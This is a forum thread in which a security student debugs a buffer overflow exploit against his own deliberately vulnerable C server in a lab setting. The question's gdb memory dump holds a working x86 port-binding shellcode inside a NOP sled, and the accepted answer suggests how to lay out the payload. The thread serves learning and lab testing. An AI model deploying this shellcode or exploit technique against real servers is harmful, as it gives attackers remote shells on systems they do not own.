Buffer overflow on remote server

Question

I'm a computer security student and I'm doing a project about remote buffer overflows. I developed a vulnerable server in C, with an unsafe use of strncpy function which actually copies 1024 bytes on a 512-bytes buffer, and an exploit to test the vulnerability.

The structure of my server code is basically like this:

main()
{
    /* socket programming stuff here */

    /* accept input string with busy waiting loop */

    /* call vulnerable function to process string */

    /* the rest of the code should be never executed if attack succeeds*/
 }

vuln (descriptor, pointer to buffer)
{
    /* copies to smaller buffer overflowing it to overwrite return address */

    /* call other_function */

    /* returns control to main */
 }

 other_function()
 {
     /* do other stuff */
 }

I compiled it with -fno-stack-protector, -static and -z execstack flags and I turned off ASLR as well on my Ubuntu machine.

The general idea is to execute a simple port-binding shellcode and get a remote shell. Problem is I continue to get the following error on gdb:

" Warning: Cannot insert breakpoint 0. Error accessing memory address 0x90909090: Error of input/output.

0xbfffec8c in ?? () "

The return address to restore execution flow from the vulnerable function to the calling main is at address 0xbfffedc4:

0xbfffedbc: 0x08049940 0xbffff258 0x08049097 0x00000008

I manage to overwrite it with a meaningful address which points to my nop sled, but for some reason I can't get the NOP instructions executed by my machine to finally reach the shellcode. The general layout of the malicious buffer is:

[nop sled (around 420 bytes)] [shellcode] [repeated ret addr] 0xbfffebbc - 0xbfffed5c 0xbfffed60 0xbfffedbc - 0xbfffefb4

...and the EIP is redirected to 0xbfffec8c, roughly in the middle of the NOP sled.

After the segfault error, info r says the EIP is correctly loaded with the desired address (0xbfffec8c):

eax            0xffffffff   -1
ecx            0x80f3840    135215168
edx            0x61e    1566
ebx            0x0  0
esp            0xbfffedc8   0xbfffedc8
ebp            0xbfffec8c   0xbfffec8c
esi            0x0  0
edi            0xbfffec8c   -1073746804
eip            0xbfffec8c   0xbfffec8c
eflags         0x282    [ SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

...and if I disassemble that area of stack memory I get the expected buffer contents (many 0x90 followed by my shellcode):

(gdb) x/128xw 0xbfffec8c
0xbfffec8c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffec9c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecbc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffeccc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecdc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecec: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffecfc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed0c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed1c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed2c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed3c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed4c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfffed5c: 0x90909090  0x9958666a  0x5243db31  0x026a016a
0xbfffed6c: 0x80cde189  0x58666a96  0x68665243  0x5366697a
0xbfffed7c: 0x106ae189  0xe1895651  0x66b080cd  0x56534343
0xbfffed8c: 0x80cde189  0x524366b0  0xe1895652  0x6a9380cd
0xbfffed9c: 0x3fb05902  0x794980cd  0x520bb0f9  0x732f2f68
0xbfffedac: 0x622f6868  0xe3896e69  0x53e28952  0x80cde189
0xbfffedbc: 0xbfffec8c  0xbfffec8c  0xbfffec8c  0xbfffec8c

Please help me to figure out what the problem is, just a tip or suggestion about what I should look for if you have been able to identify the problem from the information I provided, not the exact solution. I do not want to cheat :)

Thank you for your time. Kind regards, manco

5yntAx3rrR 5yntAx3rrR · Accepted Answer · 2013-03-20T13:22:57

it seems like at a particular point in execution eip has 0x90909090 which is ofcourse outside the stack range. or it could an seh transferring code execution after the exception occurred. use a pattern the size of the nopseled and find the new "Error accessing memory address 0x__" to find the place the problem is

if i may say , i don't see any reason for the repeated return addresses . And if you like try add shellcode after the eip overwrite. that would be easier if its possible , (if the buffer can be overwritten indefinetely)

in your case , [nop sled (bytes till eip overwrite - bytes of shellcode)] [shellcode][eip overwrite value(bfffec8c)][optional: nopsled] would suffice.

Buffer overflow on remote server

1 Answers